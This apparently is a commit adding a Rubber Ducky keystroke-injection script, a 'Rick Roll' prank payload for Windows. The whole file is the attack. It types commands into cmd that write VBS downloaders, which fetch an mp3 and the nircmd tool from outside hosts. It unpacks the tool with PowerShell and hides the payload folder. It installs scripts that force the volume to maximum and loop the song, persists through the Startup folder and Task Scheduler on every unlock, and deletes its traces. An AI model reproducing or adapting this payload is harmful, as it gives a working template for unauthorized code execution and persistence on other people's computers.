commit
889f0a259b
|
@ -0,0 +1,237 @@
|
|||
REM Rick Roll by Thomas McNeela
|
||||
REM https://github.com/tommym89/Rubber-Ducky_RickRoll
|
||||
DELAY 8000
|
||||
GUI r
|
||||
DELAY 200
|
||||
STRING cmd
|
||||
ENTER
|
||||
DELAY 200
|
||||
REM create folder to hold payloads
|
||||
STRING mkdir "%USERPROFILE%\Music\tmp"
|
||||
ENTER
|
||||
REM write download script
|
||||
STRING cd %tmp% && copy con dlrick.vbs
|
||||
ENTER
|
||||
REM get user home directory
|
||||
ENTER
|
||||
STRING Dim oShell: Set oShell = CreateObject("WScript.Shell")
|
||||
ENTER
|
||||
STRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
|
||||
ENTER
|
||||
REM initialize HTTP objects
|
||||
ENTER
|
||||
STRING Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
|
||||
ENTER
|
||||
STRING Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
|
||||
ENTER
|
||||
REM open mp3 stream
|
||||
STRING xHttp.Open "GET", "https://qoret.com/dl/uploads/2019/07/Rick_Astley_-_Never_Gonna_Give_You_Up_Qoret.com.mp3", False
|
||||
ENTER
|
||||
STRING xHttp.Send
|
||||
ENTER
|
||||
REM download and write to file
|
||||
STRING With bStrm
|
||||
ENTER
|
||||
STRING .type = 1
|
||||
ENTER
|
||||
STRING .open
|
||||
ENTER
|
||||
STRING .write xHttp.responseBody
|
||||
ENTER
|
||||
STRING .saveToFile PRFL + "\Music\tmp\rick.mp3", 2
|
||||
ENTER
|
||||
STRING End With
|
||||
ENTER
|
||||
DELAY 100
|
||||
CTRL Z
|
||||
ENTER
|
||||
STRING copy con dlnir.vbs
|
||||
ENTER
|
||||
REM get user home directory
|
||||
ENTER
|
||||
STRING Dim oShell: Set oShell = CreateObject("WScript.Shell")
|
||||
ENTER
|
||||
STRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
|
||||
ENTER
|
||||
REM initialize HTTP objects
|
||||
ENTER
|
||||
STRING Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
|
||||
ENTER
|
||||
STRING Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
|
||||
ENTER
|
||||
REM open mp3 stream
|
||||
STRING xHttp.Open "GET", "http://www.nirsoft.net/utils/nircmd-x64.zip", False
|
||||
ENTER
|
||||
STRING xHttp.Send
|
||||
ENTER
|
||||
REM download and write to file
|
||||
STRING With bStrm
|
||||
ENTER
|
||||
STRING .type = 1
|
||||
ENTER
|
||||
STRING .open
|
||||
ENTER
|
||||
STRING .write xHttp.responseBody
|
||||
ENTER
|
||||
STRING .saveToFile PRFL + "\Music\tmp\nircmd-x64.zip", 2
|
||||
ENTER
|
||||
STRING End With
|
||||
ENTER
|
||||
DELAY 100
|
||||
CTRL Z
|
||||
ENTER
|
||||
REM download mp3 and nircmd
|
||||
STRING wscript dlnir.vbs && wscript dlrick.vbs
|
||||
ENTER
|
||||
DELAY 7000
|
||||
REM extract nircmd
|
||||
STRING powershell.exe -nologo -noprofile -command "& { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('%USERPROFILE%\Music\tmp\nircmd-x64.zip', '%USERPROFILE%\Music\tmp'); }"
|
||||
ENTER
|
||||
DELAY 750
|
||||
REM write volume up payload
|
||||
STRING copy con volup.bat
|
||||
ENTER
|
||||
STRING :loop
|
||||
ENTER
|
||||
STRING %USERPROFILE%\Music\tmp\nircmd.exe mutesysvolume 0
|
||||
ENTER
|
||||
STRING %USERPROFILE%\Music\tmp\nircmd.exe setsysvolume 65535
|
||||
ENTER
|
||||
STRING timeout /t 5
|
||||
ENTER
|
||||
STRING goto loop
|
||||
ENTER
|
||||
DELAY 100
|
||||
CTRL z
|
||||
ENTER
|
||||
STRING move volup.bat %USERPROFILE%\Music\tmp\volup.bat
|
||||
ENTER
|
||||
REM hide payload folder
|
||||
STRING copy con hidefiles.vbs
|
||||
ENTER
|
||||
STRING Dim oShell: Set oShell = CreateObject("WScript.Shell")
|
||||
ENTER
|
||||
STRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
|
||||
ENTER
|
||||
STRING Dim oFSo: Set oFSo = CreateObject("Scripting.FileSystemObject")
|
||||
ENTER
|
||||
STRING Dim tmpDir: Set tmpDir = oFSo.GetFolder(PRFL + "\Music\tmp")
|
||||
ENTER
|
||||
STRING tmpDir.attributes = tmpDir.attributes + 2
|
||||
ENTER
|
||||
DELAY 100
|
||||
CTRL z
|
||||
ENTER
|
||||
STRING wscript hidefiles.vbs
|
||||
ENTER
|
||||
REM write WMP payload
|
||||
STRING copy con rickyou.vbs
|
||||
ENTER
|
||||
REM get user profile directory
|
||||
STRING Dim oShell: Set oShell = CreateObject("WScript.Shell")
|
||||
ENTER
|
||||
STRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
|
||||
ENTER
|
||||
REM start playing on loop
|
||||
STRING While true
|
||||
ENTER
|
||||
STRING Dim oPlayer: Set oPlayer = CreateObject("WMPlayer.OCX")
|
||||
ENTER
|
||||
STRING oPlayer.URL = PRFL + "\Music\tmp\rick.mp3"
|
||||
ENTER
|
||||
STRING oPlayer.controls.play
|
||||
ENTER
|
||||
STRING While oPlayer.playState <> 1 ' 1 = Stopped
|
||||
ENTER
|
||||
STRING WScript.Sleep 100
|
||||
ENTER
|
||||
STRING Wend
|
||||
ENTER
|
||||
STRING oPlayer.close
|
||||
ENTER
|
||||
STRING Wend
|
||||
ENTER
|
||||
DELAY 100
|
||||
CTRL z
|
||||
ENTER
|
||||
REM write vbs payload to hide cmd window for volup.bat
|
||||
STRING copy con volup.vbs
|
||||
ENTER
|
||||
STRING CreateObject("WScript.Shell").Run "%USERPROFILE%\Music\tmp\volup.bat", 0, False
|
||||
ENTER
|
||||
DELAY 100
|
||||
CTRL z
|
||||
ENTER
|
||||
REM move payloads to startup directory
|
||||
STRING copy rickyou.vbs "%USERPROFILE%\Music\tmp\rickyou.vbs"
|
||||
ENTER
|
||||
STRING move rickyou.vbs "%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rickyou.vbs"
|
||||
ENTER
|
||||
STRING copy volup.vbs "%USERPROFILE%\Music\tmp\volup.vbs"
|
||||
ENTER
|
||||
STRING move volup.vbs "%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\volup.vbs"
|
||||
ENTER
|
||||
REM cleanup
|
||||
STRING del dlrick.vbs
|
||||
ENTER
|
||||
STRING del dlnir.vbs
|
||||
ENTER
|
||||
STRING del hidefiles.vbs
|
||||
ENTER
|
||||
STRING del %USERPROFILE%\Music\tmp\NirCmd.chm
|
||||
ENTER
|
||||
STRING del %USERPROFILE%\Music\tmp\nircmdc.exe
|
||||
ENTER
|
||||
STRING del %USERPROFILE%\Music\tmp\nircmd-x64.zip
|
||||
ENTER
|
||||
STRING exit
|
||||
ENTER
|
||||
REM add to task scheduler to run after unlocking workstation
|
||||
DELAY 250
|
||||
GUI r
|
||||
DELAY 250
|
||||
STRING taskschd.msc
|
||||
ENTER
|
||||
DELAY 2000
|
||||
ALT a
|
||||
STRING b
|
||||
DELAY 1000
|
||||
STRING rr
|
||||
ENTER
|
||||
UP
|
||||
ENTER
|
||||
STRING s
|
||||
TAB
|
||||
TAB
|
||||
STRING 4801
|
||||
ENTER
|
||||
ENTER
|
||||
STRING wscript
|
||||
TAB
|
||||
TAB
|
||||
STRING %USERPROFILE%\Music\tmp\rickyou.vbs
|
||||
ENTER
|
||||
ENTER
|
||||
DELAY 500
|
||||
ALT a
|
||||
STRING b
|
||||
DELAY 1000
|
||||
STRING vu
|
||||
ENTER
|
||||
UP
|
||||
ENTER
|
||||
STRING s
|
||||
TAB
|
||||
TAB
|
||||
STRING 4801
|
||||
ENTER
|
||||
ENTER
|
||||
STRING wscript
|
||||
TAB
|
||||
TAB
|
||||
STRING %USERPROFILE%\Music\tmp\volup.vbs
|
||||
ENTER
|
||||
ENTER
|
||||
DELAY 500
|
||||
ALT f
|
||||
STRING x
|
Loading…
Reference in New Issue